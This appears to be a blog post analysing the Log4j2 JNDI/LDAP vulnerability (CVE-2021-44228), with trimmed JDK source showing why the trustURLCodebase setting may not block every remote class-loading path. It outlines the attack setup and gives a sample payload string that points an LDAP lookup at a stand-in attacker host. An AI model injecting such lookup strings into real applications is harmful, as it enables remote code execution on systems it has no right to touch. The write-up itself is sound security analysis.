Why trustURLCodebase may not save you from Log4j2 LDAP vulnerability (CVE-2021–44228)

What’s wrong with Log4j2?

  1. Spin up a server that returns a class definition — e.g. an HTTP one.
  2. Spin up an LDAP server that returns a URI to a class definition and a serialized object of the aforementioned class.
  3. Supply some data that will be logged directly (i.e. without any special symbols escaping) to a vulnerable app.
    E.g. there’s a microservice (well, it’s 2014+, so I don’t have much choice) that logs an HTTPS request’s query parameters via Log4j2, so an attacker sends LDAP URI similar to ${jndi:ldap://im-hacker.com/expl0it} as one of the query parameter of their request, and that does the trick — if #1 and #2 above are satisfied, that is.

How does LDAP lookup work in JDK?

In the latest (at the time of writing this article) JDK source code JNDI LDAP lookup operation eventually delegates to com.sun.jndi.ldap.LdapCtx#c_lookup, which conforms to RFC 2713 conventions of representing Java objects in LDAP. It, in turn, invokes com.sun.jndi.ldap.Obj#decodeObject (I trimmed it up a bit):

/*
* Decode an object from LDAP attribute(s).
* The object may be a Reference, or a Serialized object.
*
* See encodeObject() and encodeReference() for details on formats
* expected.
*/
static Object decodeObject(Attributes attrs)
throws NamingException {

Attribute attr;

// Get codebase, which is used in all 3 cases.
String[] codebases = getCodebases(attrs.get(JAVA_ATTRIBUTES[CODEBASE]));
try {
if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) {
...
ClassLoader cl = helper.getURLClassLoader(codebases);
return deserializeObject((byte[])attr.get(), cl);
} else if ((attr = attrs.get(JAVA_ATTRIBUTES[REMOTE_LOC])) != null) {
// For backward compatibility only
return decodeRmiObject(
(String)attrs.get(JAVA_ATTRIBUTES[CLASSNAME]).get(),
(String)attr.get(), codebases);
}

attr = attrs.get(JAVA_ATTRIBUTES[OBJECT_CLASS]);
if (attr != null &&
(attr.contains(JAVA_OBJECT_CLASSES[REF_OBJECT]) ||
attr.contains(JAVA_OBJECT_CLASSES_LOWER[REF_OBJECT]))) {
return decodeReference(attrs, codebases);
}
...
}
  1. In case javaSerializedData attr (JAVA_ATTRIBUTES[SERIALIZED_DATA]) is present — codebases is passed to com.sun.jndi.ldap.VersionHelper#getURLClassLoader, which honors trustURLCodebase Java property (see com.sun.jndi.ldap.VersionHelper#trustURLCodebase).
  2. In case javaRemoteLocation attr (JAVA_ATTRIBUTES[CLASSNAME]) is present — com.sun.jndi.ldap.Obj#decodeRmiObject is invoked.
  3. In case objectClass attr (JAVA_ATTRIBUTES[OBJECT_CLASS]) is present — com.sun.jndi.ldap.Obj#decodeReference is invoked.

Case #2

…ignores codebases argument, but the invoker — c_lookup method mentioned above — eventually delegates instance creation to javax.naming.spi.DirectoryManager#getObjectInstance and passes the whole javax.naming.directory.Attributes object to it:

Attributes attrs;
...
try {
return DirectoryManager.getObjectInstance(obj, name,
this, envprops, attrs);

} catch (NamingException e) {
...
public static Object
getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment, Attributes attrs)
throws Exception {

ObjectFactory factory;

ObjectFactoryBuilder builder = getObjectFactoryBuilder();
if (builder != null) {
// builder must return non-null factory
factory = builder.createObjectFactory(refInfo, environment);
if (factory instanceof DirObjectFactory) {
return ((DirObjectFactory)factory).getObjectInstance(
refInfo, name, nameCtx, environment, attrs);
} else {
return factory.getObjectInstance(refInfo, name, nameCtx,
environment);
}
}
/*
* Restore a Reference object from several LDAP attributes
*/
private static Reference decodeReference(Attributes attrs,
String[] codebases) throws NamingException, IOException {

Attribute attr;
String className;
String factory = null;

...
Reference ref = new Reference(className, factory,
(codebases != null? codebases[0] : null));

/*
* string encoding of a RefAddr is either:
*
* #posn#<type>#<address>
* or
* #posn#<type>##<base64-encoded address>
*/
if ((attr = attrs.get(JAVA_ATTRIBUTES[REF_ADDR])) != null) {

String val, posnStr, type;
char separator;
int start, sep, posn;
Base64.Decoder decoder = null;

ClassLoader cl = helper.getURLClassLoader(codebases);
...
return (ref);
}

What to do?

Most likely you should be OK, since one should be particularly unlucky to use a middleware/library that supplies such a DirObjectFactory implementation that specifically reproduces the remote code loading behavior described above; simple GitHubbing, for instance, does not reveal classes like this (of course, I did not account for using “javaCodeBase” via a constant reference, for instance, and is overall too lazy to write some sophisticated crawler at that time :)), but everything’s possible, especially considering how we, Java people, love to feed our software with tons of libraries and frameworks :)

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
Alexander Kiselyov

Alexander Kiselyov

Software Whatever from Kharkov, Ukraine.